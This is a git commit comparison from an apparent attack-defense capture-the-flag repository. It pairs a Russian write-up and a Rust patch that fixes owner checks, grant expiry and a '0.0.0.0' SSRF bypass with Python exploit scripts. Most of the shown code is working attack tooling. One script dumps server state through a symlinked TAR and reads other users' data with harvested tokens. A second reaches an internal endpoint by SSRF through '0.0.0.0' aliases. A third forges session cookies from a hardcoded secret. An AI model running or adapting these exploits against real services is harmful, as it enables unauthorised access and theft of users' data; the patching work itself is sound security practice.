Compare commits
12
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
e562daacc5 | ||
|
|
74baf0bcc6 | ||
|
|
9c06a36a4b | ||
|
|
5d2407b076 | ||
|
|
29c864990a | ||
|
|
e112480339 | ||
|
|
f09895d65e | ||
|
|
98ad0ae2de | ||
|
|
e06fd3d9ed | ||
|
|
b72544209c | ||
|
|
ef120ca5a5 | ||
|
|
7e96966188 |
No files matched your search
@@ -21,10 +21,10 @@
|
|||||||
|
|
||||||
## Исправление
|
## Исправление
|
||||||
|
|
||||||
- Проверка владельца добавлена при привязке источника, смене корабля профиля и выполнении export job.
|
- Проверка владельца добавлена при привязке и чтении источника, смене корабля профиля и выполнении export job. При загрузке состояния удаляются cross-owner source aliases, а результаты export jobs с нарушенной цепочкой владения очищаются.
|
||||||
- В cache key добавлен владелец; при загрузке состояния кэш безопасно перестраивается для существующих полётов.
|
- В cache key добавлен владелец; при загрузке состояния кэш безопасно перестраивается для существующих полётов.
|
||||||
- Делегируемые права теперь обязаны быть подмножеством родительских; оба срока должны быть действующими, а дочерний срок не может превышать родительский. `read_manifest` проверяет expiry.
|
- Делегируемые права теперь обязаны быть подмножеством родительских; оба срока должны быть действующими, а дочерний срок не может превышать родительский. `read_manifest` проверяет expiry. При загрузке удаляются просроченные и legacy grants с правами, которые нельзя получить через штатный `grant_geometry`.
|
||||||
- Internal summary требует одновременно loopback peer и importer key. `fetch_bulletin` запрещает любой адрес, который после DNS-разрешения является loopback, включая каждый redirect.
|
- Internal summary требует одновременно loopback peer и importer key. `fetch_bulletin` запрещает любой адрес, который после DNS-разрешения является loopback или unspecified, включая `0.0.0.0` и каждый redirect.
|
||||||
- Любая повторная загрузка package сбрасывает approval. Перед распаковкой пакет снова проходит `validate_safe_tar`, а attachment обязан оставаться внутри индивидуального work-каталога.
|
- Любая повторная загрузка package сбрасывает approval. Перед распаковкой пакет снова проходит `validate_safe_tar`, а attachment обязан оставаться внутри индивидуального work-каталога.
|
||||||
|
|
||||||
## Проверки
|
## Проверки
|
||||||
@@ -32,6 +32,8 @@
|
|||||||
- Docker image успешно собран командой `docker compose -f compose.yml build`.
|
- Docker image успешно собран командой `docker compose -f compose.yml build`.
|
||||||
- На исходной версии все шесть классов проблем воспроизведены с синтетическими данными; second-order export дополнительно проверен отдельной последовательностью HTTP-запросов и после перезапуска контейнера.
|
- На исходной версии все шесть классов проблем воспроизведены с синтетическими данными; second-order export дополнительно проверен отдельной последовательностью HTTP-запросов и после перезапуска контейнера.
|
||||||
- На исправленной версии прошли 12 runtime-сценариев: штатные source/export/summary/package flows, запрет cross-user source/profile/cache, запрет повышения/просрочки grant, разрешённое subset-delegation, блокировка прямого internal endpoint и loopback-alias SSRF, блокировка замены одобренного TAR.
|
- На исправленной версии прошли 12 runtime-сценариев: штатные source/export/summary/package flows, запрет cross-user source/profile/cache, запрет повышения/просрочки grant, разрешённое subset-delegation, блокировка прямого internal endpoint и loopback-alias SSRF, блокировка замены одобренного TAR.
|
||||||
|
- Дополнительная baseline-vs-patch проверка настоящих бинарников воспроизвела на `f09895d` SSRF через `0.0.0.0`, чтение через сохранённый cross-owner alias, legacy `manifest.read` grant и poisoned export result. Исправленная версия блокирует все четыре пути, сохраняя owner reads, легитимный alias, subset-delegation и корректный завершённый export job.
|
||||||
|
- `cargo check --locked` и `cargo test --locked` проходят; проект не содержит встроенных unit-тестов.
|
||||||
- `git diff --check` проходит.
|
- `git diff --check` проходит.
|
||||||
|
|
||||||
Ограничения: исходный проект не содержит автоматических тестов или checker; официальный Skipper/checker и сохранность реальных данных на vulnbox не проверялись. Патч не развёртывался и не отправлялся в Gitea.
|
Ограничения: исходный проект не содержит автоматических тестов или checker; официальный Skipper/checker и сохранность реальных данных на vulnbox не проверялись. Патч не развёртывался; ветка предназначена для проверки и слияния через Gitea.
|
||||||
@@ -219,6 +219,27 @@ impl Server {
|
|||||||
fs::create_dir_all(root.join("work"))?;
|
fs::create_dir_all(root.join("work"))?;
|
||||||
|
|
||||||
let mut state = load_state(&root)?;
|
let mut state = load_state(&root)?;
|
||||||
|
let ships = &state.ships;
|
||||||
|
state.sources.retain(|source, owner| {
|
||||||
|
ships.get(&canonical(source)) == Some(owner)
|
||||||
|
});
|
||||||
|
let profiles = &state.profiles;
|
||||||
|
for job in state.jobs.values_mut() {
|
||||||
|
let valid = profiles.get(&job.profile).is_some_and(|profile| {
|
||||||
|
profile.owner == job.owner && ships.get(&profile.ship) == Some(&job.owner)
|
||||||
|
});
|
||||||
|
if !valid {
|
||||||
|
job.result = None;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
let now = unix_time();
|
||||||
|
state.grants.retain(|_, grant| {
|
||||||
|
grant.expires >= now
|
||||||
|
&& grant
|
||||||
|
.rights
|
||||||
|
.iter()
|
||||||
|
.all(|right| matches!(right.as_str(), "geometry.read" | "delegate"))
|
||||||
|
});
|
||||||
let old_cache = std::mem::take(&mut state.geometry_cache);
|
let old_cache = std::mem::take(&mut state.geometry_cache);
|
||||||
for flight_id in old_cache.values() {
|
for flight_id in old_cache.values() {
|
||||||
if let Some(flight) = state.flights.get(flight_id) {
|
if let Some(flight) = state.flights.get(flight_id) {
|
||||||
@@ -325,6 +346,7 @@ impl Server {
|
|||||||
check_owner(s.sources.get(source).ok_or("unknown source")?, &user)?;
|
check_owner(s.sources.get(source).ok_or("unknown source")?, &user)?;
|
||||||
|
|
||||||
let ship = canonical(source);
|
let ship = canonical(source);
|
||||||
|
check_owner(s.ships.get(&ship).ok_or("unknown ship")?, &user)?;
|
||||||
Ok(json!({"messages":s.messages.get(&ship).cloned().unwrap_or_default()}))
|
Ok(json!({"messages":s.messages.get(&ship).cloned().unwrap_or_default()}))
|
||||||
}
|
}
|
||||||
"create_profile" => {
|
"create_profile" => {
|
||||||
@@ -819,7 +841,7 @@ impl Server {
|
|||||||
.map_err(|e| format!("resolve {host}:{port}: {e}"))?
|
.map_err(|e| format!("resolve {host}:{port}: {e}"))?
|
||||||
.next()
|
.next()
|
||||||
.ok_or("no address")?;
|
.ok_or("no address")?;
|
||||||
if addr.ip().is_loopback() {
|
if addr.ip().is_loopback() || addr.ip().is_unspecified() {
|
||||||
return Err("internal source forbidden".into());
|
return Err("internal source forbidden".into());
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -11,6 +11,7 @@ import sys
|
|||||||
import tarfile
|
import tarfile
|
||||||
import tempfile
|
import tempfile
|
||||||
import time
|
import time
|
||||||
|
from concurrent.futures import FIRST_COMPLETED, ThreadPoolExecutor, wait
|
||||||
from pathlib import Path
|
from pathlib import Path
|
||||||
from urllib.error import HTTPError, URLError
|
from urllib.error import HTTPError, URLError
|
||||||
from urllib.parse import quote, unquote, urlsplit, urlunsplit
|
from urllib.parse import quote, unquote, urlsplit, urlunsplit
|
||||||
@@ -36,6 +37,7 @@ CONTEXT_PATTERNS = {
|
|||||||
"package_id": re.compile(r"package-[0-9a-f]{32}\Z"),
|
"package_id": re.compile(r"package-[0-9a-f]{32}\Z"),
|
||||||
}
|
}
|
||||||
TOKEN_VALUE_PATTERN = re.compile(r"token-[0-9a-f]{32}", re.IGNORECASE)
|
TOKEN_VALUE_PATTERN = re.compile(r"token-[0-9a-f]{32}", re.IGNORECASE)
|
||||||
|
FLAG_PATTERN = re.compile(r"(?<![A-Za-z0-9])[A-Z0-9]{31}=(?![A-Za-z0-9])")
|
||||||
STATE_DUMP_MARKER = "orbital-state-dump"
|
STATE_DUMP_MARKER = "orbital-state-dump"
|
||||||
|
|
||||||
|
|
||||||
@@ -313,6 +315,9 @@ def dump_state(base: str, context) -> str:
|
|||||||
context["token"],
|
context["token"],
|
||||||
state_dump_tar(context["flight_id"]),
|
state_dump_tar(context["flight_id"]),
|
||||||
)
|
)
|
||||||
|
restore_needed = True
|
||||||
|
try:
|
||||||
|
try:
|
||||||
rpc(
|
rpc(
|
||||||
base,
|
base,
|
||||||
"generate_report",
|
"generate_report",
|
||||||
@@ -320,8 +325,18 @@ def dump_state(base: str, context) -> str:
|
|||||||
package_id=context["package_id"],
|
package_id=context["package_id"],
|
||||||
attachment="report.txt",
|
attachment="report.txt",
|
||||||
)
|
)
|
||||||
try:
|
except ExploitError as exc:
|
||||||
|
# These checks reject the package before extracting the symlink.
|
||||||
|
if "package not approved" in str(exc) or "unsafe package" in str(exc):
|
||||||
|
restore_needed = False
|
||||||
|
raise
|
||||||
|
|
||||||
|
# The first persist copies state into our navigation file. The second
|
||||||
|
# immediately replaces state.json with a regular file. Read the copy
|
||||||
|
# only after both writes, keeping the symlink window as short as possible.
|
||||||
trigger_persist(base, context)
|
trigger_persist(base, context)
|
||||||
|
trigger_persist(base, context)
|
||||||
|
restore_needed = False
|
||||||
result = rpc(
|
result = rpc(
|
||||||
base,
|
base,
|
||||||
"read_navigation",
|
"read_navigation",
|
||||||
@@ -334,10 +349,21 @@ def dump_state(base: str, context) -> str:
|
|||||||
raise ExploitError("state dump: missing navigation")
|
raise ExploitError("state dump: missing navigation")
|
||||||
return navigation
|
return navigation
|
||||||
finally:
|
finally:
|
||||||
|
if restore_needed:
|
||||||
|
# An ambiguous timeout may occur before the first write is handled.
|
||||||
|
# In that case one successful write copies state through the link;
|
||||||
|
# the next successful write is needed to replace the link itself.
|
||||||
|
confirmed = 0
|
||||||
|
for attempt in range(5):
|
||||||
try:
|
try:
|
||||||
trigger_persist(base, context)
|
trigger_persist(base, context)
|
||||||
|
confirmed += 1
|
||||||
|
if confirmed == 2:
|
||||||
|
break
|
||||||
except (ExploitError, HTTPError, URLError, TimeoutError, ValueError, OSError) as exc:
|
except (ExploitError, HTTPError, URLError, TimeoutError, ValueError, OSError) as exc:
|
||||||
print(f"state persistence cleanup: {exc}", file=sys.stderr)
|
print(f"state persistence cleanup attempt {attempt + 1}: {exc}", file=sys.stderr)
|
||||||
|
if confirmed < 2:
|
||||||
|
raise ExploitError("state persistence cleanup not confirmed")
|
||||||
|
|
||||||
|
|
||||||
def state_payloads(state) -> list[str]:
|
def state_payloads(state) -> list[str]:
|
||||||
@@ -376,6 +402,12 @@ def state_payloads(state) -> list[str]:
|
|||||||
return values
|
return values
|
||||||
|
|
||||||
|
|
||||||
|
def read_navigation_candidate(base: str, token: str, flight_id: str) -> str | None:
|
||||||
|
result = rpc(base, "read_navigation", token=token, flight_id=flight_id)
|
||||||
|
navigation = result.get("navigation") if isinstance(result, dict) else None
|
||||||
|
return navigation if isinstance(navigation, str) else None
|
||||||
|
|
||||||
|
|
||||||
def exploit_host_only(base: str, deadline: float) -> list[str]:
|
def exploit_host_only(base: str, deadline: float) -> list[str]:
|
||||||
context = load_context(base)
|
context = load_context(base)
|
||||||
if context is None:
|
if context is None:
|
||||||
@@ -409,23 +441,51 @@ def exploit_host_only(base: str, deadline: float) -> list[str]:
|
|||||||
for token, owner in users.items():
|
for token, owner in users.items():
|
||||||
if isinstance(token, str) and isinstance(owner, str):
|
if isinstance(token, str) and isinstance(owner, str):
|
||||||
owner_tokens.setdefault(owner, token)
|
owner_tokens.setdefault(owner, token)
|
||||||
checked = 0
|
known_flights = set(context.get("known_flights", []))
|
||||||
|
read_flights = set(context.get("read_flights", []))
|
||||||
|
candidates: list[tuple[int, str, str]] = []
|
||||||
if isinstance(flights, dict):
|
if isinstance(flights, dict):
|
||||||
for flight_id, flight in flights.items():
|
for flight_id, flight in flights.items():
|
||||||
if checked >= MAX_STATE_FLIGHTS or time.monotonic() >= deadline:
|
|
||||||
break
|
|
||||||
if not isinstance(flight_id, str) or not isinstance(flight, dict):
|
if not isinstance(flight_id, str) or not isinstance(flight, dict):
|
||||||
continue
|
continue
|
||||||
if flight_id == context["flight_id"] or flight.get("geometry") == STATE_DUMP_MARKER:
|
if flight_id == context["flight_id"] or flight.get("geometry") == STATE_DUMP_MARKER:
|
||||||
continue
|
continue
|
||||||
|
if flight_id in read_flights:
|
||||||
|
continue
|
||||||
token = owner_tokens.get(flight.get("owner"))
|
token = owner_tokens.get(flight.get("owner"))
|
||||||
if not isinstance(token, str):
|
if not isinstance(token, str):
|
||||||
continue
|
continue
|
||||||
checked += 1
|
candidates.append((0 if flight_id not in known_flights else 1, flight_id, token))
|
||||||
|
candidates.sort(key=lambda item: item[0])
|
||||||
|
checked = 0
|
||||||
|
pending = {}
|
||||||
|
candidate_iter = iter(candidates[:MAX_STATE_FLIGHTS])
|
||||||
|
with ThreadPoolExecutor(max_workers=4) as pool:
|
||||||
|
while time.monotonic() < deadline:
|
||||||
|
while len(pending) < 4 and time.monotonic() < deadline:
|
||||||
try:
|
try:
|
||||||
result = rpc(base, "read_navigation", token=token, flight_id=flight_id)
|
_, flight_id, token = next(candidate_iter)
|
||||||
navigation = result.get("navigation") if isinstance(result, dict) else None
|
except StopIteration:
|
||||||
if isinstance(navigation, str):
|
break
|
||||||
|
pending[pool.submit(read_navigation_candidate, base, token, flight_id)] = flight_id
|
||||||
|
checked += 1
|
||||||
|
if not pending:
|
||||||
|
break
|
||||||
|
done, _ = wait(
|
||||||
|
pending, timeout=max(0.0, deadline - time.monotonic()),
|
||||||
|
return_when=FIRST_COMPLETED,
|
||||||
|
)
|
||||||
|
if not done:
|
||||||
|
break
|
||||||
|
for future in done:
|
||||||
|
flight_id = pending.pop(future)
|
||||||
|
try:
|
||||||
|
navigation = future.result()
|
||||||
|
except (ExploitError, HTTPError, URLError, TimeoutError, ValueError, OSError):
|
||||||
|
continue
|
||||||
|
if navigation is None:
|
||||||
|
continue
|
||||||
|
read_flights.add(flight_id)
|
||||||
try:
|
try:
|
||||||
nested_state = json.loads(navigation)
|
nested_state = json.loads(navigation)
|
||||||
except ValueError:
|
except ValueError:
|
||||||
@@ -435,8 +495,15 @@ def exploit_host_only(base: str, deadline: float) -> list[str]:
|
|||||||
loot.extend(state_payloads(nested_state))
|
loot.extend(state_payloads(nested_state))
|
||||||
else:
|
else:
|
||||||
loot.append(navigation)
|
loot.append(navigation)
|
||||||
except (ExploitError, HTTPError, URLError, TimeoutError, ValueError, OSError):
|
for future in pending:
|
||||||
continue
|
future.cancel()
|
||||||
|
if isinstance(flights, dict):
|
||||||
|
context["known_flights"] = list(flights)
|
||||||
|
context["read_flights"] = list(read_flights.intersection(flights))
|
||||||
|
try:
|
||||||
|
save_context(base, context)
|
||||||
|
except OSError as exc:
|
||||||
|
print(f"state cache unavailable: {exc}", file=sys.stderr)
|
||||||
print(f"state dump navigation reads: {checked}", file=sys.stderr)
|
print(f"state dump navigation reads: {checked}", file=sys.stderr)
|
||||||
sanitized = (TOKEN_VALUE_PATTERN.sub("", item) for item in loot if item)
|
sanitized = (TOKEN_VALUE_PATTERN.sub("", item) for item in loot if item)
|
||||||
return list(dict.fromkeys(item for item in sanitized if item))
|
return list(dict.fromkeys(item for item in sanitized if item))
|
||||||
@@ -597,9 +664,10 @@ def main() -> int:
|
|||||||
except (ExploitError, HTTPError, URLError, TimeoutError, ValueError, OSError) as exc:
|
except (ExploitError, HTTPError, URLError, TimeoutError, ValueError, OSError) as exc:
|
||||||
print(f"request failed: {exc}", file=sys.stderr)
|
print(f"request failed: {exc}", file=sys.stderr)
|
||||||
return 1
|
return 1
|
||||||
for item in loot:
|
flags = sorted({match for item in loot for match in FLAG_PATTERN.findall(item)})
|
||||||
print(item, flush=True)
|
for flag in flags:
|
||||||
print(f"collected values: {len(loot)}", file=sys.stderr)
|
print(flag, flush=True)
|
||||||
|
print(f"collected flags: {len(flags)}", file=sys.stderr)
|
||||||
return 0
|
return 0
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
Executable
+263
@@ -0,0 +1,263 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
|
||||||
|
from __future__ import annotations
|
||||||
|
|
||||||
|
import json
|
||||||
|
import os
|
||||||
|
import re
|
||||||
|
import signal
|
||||||
|
import sys
|
||||||
|
import time
|
||||||
|
from contextlib import contextmanager
|
||||||
|
from http.client import HTTPException
|
||||||
|
from urllib.error import HTTPError, URLError
|
||||||
|
from urllib.parse import unquote, urlsplit, urlunsplit
|
||||||
|
from urllib.request import HTTPRedirectHandler, ProxyHandler, Request, build_opener
|
||||||
|
|
||||||
|
TARGET_SCHEME = "http"
|
||||||
|
SERVICE_PORT = 8086
|
||||||
|
INTERNAL_PORT = 8080
|
||||||
|
REQUEST_TIMEOUT = 1.5
|
||||||
|
RUN_TIMEOUT = 8.0
|
||||||
|
MAX_RESPONSE = 256 * 1024
|
||||||
|
MAX_HINT_LENGTH = 8192
|
||||||
|
MAX_SUMMARIES = 6
|
||||||
|
SUMMARY_PATTERN = re.compile(r"\bsummary-[0-9a-f]{32}\b", re.IGNORECASE)
|
||||||
|
FLAG_PATTERN = re.compile(rb"[A-Z0-9]{31}=")
|
||||||
|
INTERNAL_HOSTS = ("0.0.0.0", "0", "0000", "0x0")
|
||||||
|
|
||||||
|
|
||||||
|
class ExploitError(Exception):
|
||||||
|
pass
|
||||||
|
|
||||||
|
|
||||||
|
class HardDeadlineExceeded(Exception):
|
||||||
|
pass
|
||||||
|
|
||||||
|
|
||||||
|
class NoRedirects(HTTPRedirectHandler):
|
||||||
|
def redirect_request(self, req, fp, code, msg, headers, newurl):
|
||||||
|
return None
|
||||||
|
|
||||||
|
|
||||||
|
OPENER = build_opener(ProxyHandler({}), NoRedirects())
|
||||||
|
|
||||||
|
|
||||||
|
def deadline_alarm(_signum, _frame):
|
||||||
|
raise HardDeadlineExceeded("run deadline exceeded")
|
||||||
|
|
||||||
|
|
||||||
|
@contextmanager
|
||||||
|
def hard_timeout(seconds: float):
|
||||||
|
if not hasattr(signal, "SIGALRM") or not hasattr(signal, "setitimer"):
|
||||||
|
yield
|
||||||
|
return
|
||||||
|
previous = signal.signal(signal.SIGALRM, deadline_alarm)
|
||||||
|
signal.setitimer(signal.ITIMER_REAL, seconds)
|
||||||
|
try:
|
||||||
|
yield
|
||||||
|
finally:
|
||||||
|
signal.setitimer(signal.ITIMER_REAL, 0)
|
||||||
|
signal.signal(signal.SIGALRM, previous)
|
||||||
|
|
||||||
|
|
||||||
|
def parse_target(target: str) -> tuple[str, str]:
|
||||||
|
raw = target.strip()
|
||||||
|
if not raw:
|
||||||
|
raise ValueError("empty target")
|
||||||
|
address, separator, encoded_hint = raw.partition("#")
|
||||||
|
hint = unquote(encoded_hint) if separator else os.environ.get("ORBITAL_HINT", "")
|
||||||
|
if not address:
|
||||||
|
raise ValueError("empty target address")
|
||||||
|
if len(hint) > MAX_HINT_LENGTH:
|
||||||
|
raise ValueError("checker hint is too large")
|
||||||
|
explicit_scheme = "://" in address
|
||||||
|
if not explicit_scheme:
|
||||||
|
authority = (
|
||||||
|
f"[{address}]"
|
||||||
|
if address.count(":") > 1 and not address.startswith("[")
|
||||||
|
else address
|
||||||
|
)
|
||||||
|
address = f"{TARGET_SCHEME}://{authority}"
|
||||||
|
parsed = urlsplit(address)
|
||||||
|
if parsed.scheme not in {"http", "https"} or not parsed.hostname:
|
||||||
|
raise ValueError("expected an HTTP target")
|
||||||
|
if parsed.username or parsed.password or parsed.path not in {"", "/"}:
|
||||||
|
raise ValueError("target must not include credentials or a path")
|
||||||
|
if parsed.query or parsed.fragment:
|
||||||
|
raise ValueError("target address must not include query or fragment")
|
||||||
|
port = parsed.port
|
||||||
|
if port is None:
|
||||||
|
port = (
|
||||||
|
443
|
||||||
|
if explicit_scheme and parsed.scheme == "https"
|
||||||
|
else 80 if explicit_scheme else SERVICE_PORT
|
||||||
|
)
|
||||||
|
if not 1 <= port <= 65535:
|
||||||
|
raise ValueError("invalid target port")
|
||||||
|
host = f"[{parsed.hostname}]" if ":" in parsed.hostname else parsed.hostname
|
||||||
|
return urlunsplit((parsed.scheme, f"{host}:{port}", "", "", "")), hint
|
||||||
|
|
||||||
|
|
||||||
|
def read_bounded(response, deadline: float) -> bytes:
|
||||||
|
chunks = []
|
||||||
|
total = 0
|
||||||
|
while total <= MAX_RESPONSE:
|
||||||
|
if deadline - time.monotonic() <= 0:
|
||||||
|
raise TimeoutError("run deadline exceeded")
|
||||||
|
chunk = response.read(min(16 * 1024, MAX_RESPONSE + 1 - total))
|
||||||
|
if not chunk:
|
||||||
|
break
|
||||||
|
chunks.append(chunk)
|
||||||
|
total += len(chunk)
|
||||||
|
raw = b"".join(chunks)
|
||||||
|
if len(raw) > MAX_RESPONSE:
|
||||||
|
raise ValueError("response too large")
|
||||||
|
if deadline - time.monotonic() <= 0:
|
||||||
|
raise TimeoutError("run deadline exceeded")
|
||||||
|
return raw
|
||||||
|
|
||||||
|
|
||||||
|
def request(base: str, payload: bytes, deadline: float) -> tuple[int, bytes]:
|
||||||
|
remaining = deadline - time.monotonic()
|
||||||
|
if remaining <= 0:
|
||||||
|
raise TimeoutError("run deadline exceeded")
|
||||||
|
req = Request(
|
||||||
|
base + "/rpc",
|
||||||
|
data=payload,
|
||||||
|
headers={
|
||||||
|
"Accept": "application/json",
|
||||||
|
"Content-Type": "application/json",
|
||||||
|
"User-Agent": "neo-orbital-summary-ssrf/1.0",
|
||||||
|
},
|
||||||
|
method="POST",
|
||||||
|
)
|
||||||
|
try:
|
||||||
|
with OPENER.open(req, timeout=min(REQUEST_TIMEOUT, remaining)) as response:
|
||||||
|
return response.status, read_bounded(response, deadline)
|
||||||
|
except HTTPError as exc:
|
||||||
|
with exc:
|
||||||
|
return exc.code, read_bounded(exc, deadline)
|
||||||
|
|
||||||
|
|
||||||
|
def rpc(base: str, deadline: float, action: str, **fields):
|
||||||
|
payload = json.dumps({"action": action, **fields}, separators=(",", ":")).encode()
|
||||||
|
status, raw = request(base, payload, deadline)
|
||||||
|
try:
|
||||||
|
document = json.loads(raw)
|
||||||
|
except (TypeError, ValueError) as exc:
|
||||||
|
raise ExploitError(f"{action}: invalid response") from exc
|
||||||
|
if not isinstance(document, dict):
|
||||||
|
raise ExploitError(f"{action}: invalid response")
|
||||||
|
if status != 200 or document.get("ok") is not True:
|
||||||
|
raise ExploitError(f"{action}: request rejected (HTTP {status})")
|
||||||
|
return document.get("result")
|
||||||
|
|
||||||
|
|
||||||
|
def register(base: str, deadline: float) -> str:
|
||||||
|
result = rpc(base, deadline, "register")
|
||||||
|
auth = result.get("token") if isinstance(result, dict) else None
|
||||||
|
if not isinstance(auth, str):
|
||||||
|
raise ExploitError("register: missing token")
|
||||||
|
return auth
|
||||||
|
|
||||||
|
|
||||||
|
def import_summary(
|
||||||
|
base: str, auth: str, summary_id: str, deadline: float
|
||||||
|
) -> tuple[set[bytes] | None, int]:
|
||||||
|
attempts = 0
|
||||||
|
for internal_host in INTERNAL_HOSTS:
|
||||||
|
if deadline - time.monotonic() <= 0:
|
||||||
|
break
|
||||||
|
attempts += 1
|
||||||
|
try:
|
||||||
|
result = rpc(
|
||||||
|
base,
|
||||||
|
deadline,
|
||||||
|
"import_bulletin",
|
||||||
|
token=auth,
|
||||||
|
url=f"http://{internal_host}:{INTERNAL_PORT}/internal/summaries/{summary_id}",
|
||||||
|
)
|
||||||
|
except (
|
||||||
|
ExploitError,
|
||||||
|
HTTPError,
|
||||||
|
URLError,
|
||||||
|
TimeoutError,
|
||||||
|
HTTPException,
|
||||||
|
ValueError,
|
||||||
|
OSError,
|
||||||
|
):
|
||||||
|
continue
|
||||||
|
content = result.get("content") if isinstance(result, dict) else None
|
||||||
|
if not isinstance(content, str):
|
||||||
|
raise ExploitError("import_bulletin: missing content")
|
||||||
|
return set(FLAG_PATTERN.findall(content.encode())), attempts
|
||||||
|
return None, attempts
|
||||||
|
|
||||||
|
|
||||||
|
def run_exploit(raw_target: str, emit=None) -> tuple[list[str], int, int, int]:
|
||||||
|
base, hint = parse_target(raw_target)
|
||||||
|
summary_ids = list(
|
||||||
|
dict.fromkeys(match.group(0).lower() for match in SUMMARY_PATTERN.finditer(hint))
|
||||||
|
)[:MAX_SUMMARIES]
|
||||||
|
if not summary_ids:
|
||||||
|
raise ValueError("checker hint with a summary id is required")
|
||||||
|
deadline = time.monotonic() + RUN_TIMEOUT
|
||||||
|
auth = register(base, deadline)
|
||||||
|
flags: set[str] = set()
|
||||||
|
processed = 0
|
||||||
|
attempts = 0
|
||||||
|
errors = 0
|
||||||
|
for summary_id in summary_ids:
|
||||||
|
if deadline - time.monotonic() <= 0:
|
||||||
|
break
|
||||||
|
found, request_count = import_summary(base, auth, summary_id, deadline)
|
||||||
|
attempts += request_count
|
||||||
|
if found is None:
|
||||||
|
errors += 1
|
||||||
|
continue
|
||||||
|
processed += 1
|
||||||
|
for candidate in sorted(flag.decode("ascii") for flag in found):
|
||||||
|
if candidate in flags:
|
||||||
|
continue
|
||||||
|
flags.add(candidate)
|
||||||
|
if emit is not None:
|
||||||
|
emit(candidate)
|
||||||
|
if processed == 0:
|
||||||
|
if deadline - time.monotonic() <= 0:
|
||||||
|
raise TimeoutError("run deadline exceeded")
|
||||||
|
if errors:
|
||||||
|
raise ExploitError("all summary imports failed")
|
||||||
|
return sorted(flags), processed, attempts, errors
|
||||||
|
|
||||||
|
|
||||||
|
def main() -> int:
|
||||||
|
if len(sys.argv) != 2:
|
||||||
|
print(f"Usage: {sys.argv[0]} HOST#SUMMARY_HINT", file=sys.stderr)
|
||||||
|
return 2
|
||||||
|
try:
|
||||||
|
with hard_timeout(RUN_TIMEOUT):
|
||||||
|
flags, processed, attempts, errors = run_exploit(
|
||||||
|
sys.argv[1], lambda candidate: print(candidate, flush=True)
|
||||||
|
)
|
||||||
|
except (
|
||||||
|
ExploitError,
|
||||||
|
HardDeadlineExceeded,
|
||||||
|
HTTPError,
|
||||||
|
URLError,
|
||||||
|
TimeoutError,
|
||||||
|
HTTPException,
|
||||||
|
ValueError,
|
||||||
|
OSError,
|
||||||
|
) as exc:
|
||||||
|
print(f"request failed: {exc}", file=sys.stderr)
|
||||||
|
return 1
|
||||||
|
print(
|
||||||
|
f"summaries={processed} attempts={attempts} errors={errors} flags={len(flags)}",
|
||||||
|
file=sys.stderr,
|
||||||
|
)
|
||||||
|
return 0
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
raise SystemExit(main())
|
||||||
+61
-15
@@ -7,6 +7,7 @@ import concurrent.futures
|
|||||||
import hashlib
|
import hashlib
|
||||||
import hmac
|
import hmac
|
||||||
import json
|
import json
|
||||||
|
import re
|
||||||
import secrets
|
import secrets
|
||||||
import sys
|
import sys
|
||||||
import time
|
import time
|
||||||
@@ -17,10 +18,12 @@ from urllib.request import HTTPRedirectHandler, Request, build_opener
|
|||||||
TARGET_SCHEME = "http"
|
TARGET_SCHEME = "http"
|
||||||
SERVICE_PORT = 8090
|
SERVICE_PORT = 8090
|
||||||
REQUEST_TIMEOUT = 2.0
|
REQUEST_TIMEOUT = 2.0
|
||||||
|
TOTAL_TIMEOUT = 8.0
|
||||||
MAX_RESPONSE = 128 * 1024
|
MAX_RESPONSE = 128 * 1024
|
||||||
RECENT_USER_WINDOW = 32
|
RECENT_USER_WINDOW = 32
|
||||||
MAX_WORKERS = 8
|
MAX_WORKERS = 8
|
||||||
SESSION_SECRET = "starpost-development-session-key-change-before-production"
|
SESSION_SECRET = "starpost-development-session-key-change-before-production"
|
||||||
|
FLAG_RE = re.compile(rb"[A-Z0-9]{31}=")
|
||||||
|
|
||||||
|
|
||||||
class NoRedirects(HTTPRedirectHandler):
|
class NoRedirects(HTTPRedirectHandler):
|
||||||
@@ -64,7 +67,14 @@ def forge_session(user_id: int, role: str) -> str:
|
|||||||
return (value + b"." + b64(signature)).decode()
|
return (value + b"." + b64(signature)).decode()
|
||||||
|
|
||||||
|
|
||||||
def request(base: str, path: str, method: str = "GET", payload=None, cookie: str | None = None):
|
def request(
|
||||||
|
base: str,
|
||||||
|
path: str,
|
||||||
|
method: str = "GET",
|
||||||
|
payload=None,
|
||||||
|
cookie: str | None = None,
|
||||||
|
timeout: float = REQUEST_TIMEOUT,
|
||||||
|
):
|
||||||
body = json.dumps(payload).encode() if payload is not None else None
|
body = json.dumps(payload).encode() if payload is not None else None
|
||||||
headers = {"User-Agent": "starpost-session/1.0", "Accept": "application/json"}
|
headers = {"User-Agent": "starpost-session/1.0", "Accept": "application/json"}
|
||||||
if body is not None:
|
if body is not None:
|
||||||
@@ -74,33 +84,50 @@ def request(base: str, path: str, method: str = "GET", payload=None, cookie: str
|
|||||||
req = Request(base + path, data=body, headers=headers, method=method)
|
req = Request(base + path, data=body, headers=headers, method=method)
|
||||||
opener = build_opener(NoRedirects())
|
opener = build_opener(NoRedirects())
|
||||||
try:
|
try:
|
||||||
with opener.open(req, timeout=REQUEST_TIMEOUT) as response:
|
with opener.open(req, timeout=timeout) as response:
|
||||||
data = response.read(MAX_RESPONSE + 1)
|
data = response.read(MAX_RESPONSE + 1)
|
||||||
if len(data) > MAX_RESPONSE:
|
if len(data) > MAX_RESPONSE:
|
||||||
raise ValueError("response too large")
|
raise ValueError("response too large")
|
||||||
return response.status, data
|
return response.status, data
|
||||||
except HTTPError as exc:
|
except HTTPError as exc:
|
||||||
return exc.code, exc.read(MAX_RESPONSE)
|
data = exc.read(MAX_RESPONSE + 1)
|
||||||
|
if len(data) > MAX_RESPONSE:
|
||||||
|
raise ValueError("response too large")
|
||||||
|
return exc.code, data
|
||||||
|
|
||||||
|
|
||||||
def register_probe(base: str) -> int:
|
def register_probe(base: str, deadline: float) -> int:
|
||||||
|
remaining = deadline - time.monotonic()
|
||||||
|
if remaining <= 0:
|
||||||
|
raise TimeoutError("overall deadline exceeded")
|
||||||
marker = secrets.token_hex(8)
|
marker = secrets.token_hex(8)
|
||||||
status, raw = request(
|
status, raw = request(
|
||||||
base,
|
base,
|
||||||
"/api/register",
|
"/api/register",
|
||||||
method="POST",
|
method="POST",
|
||||||
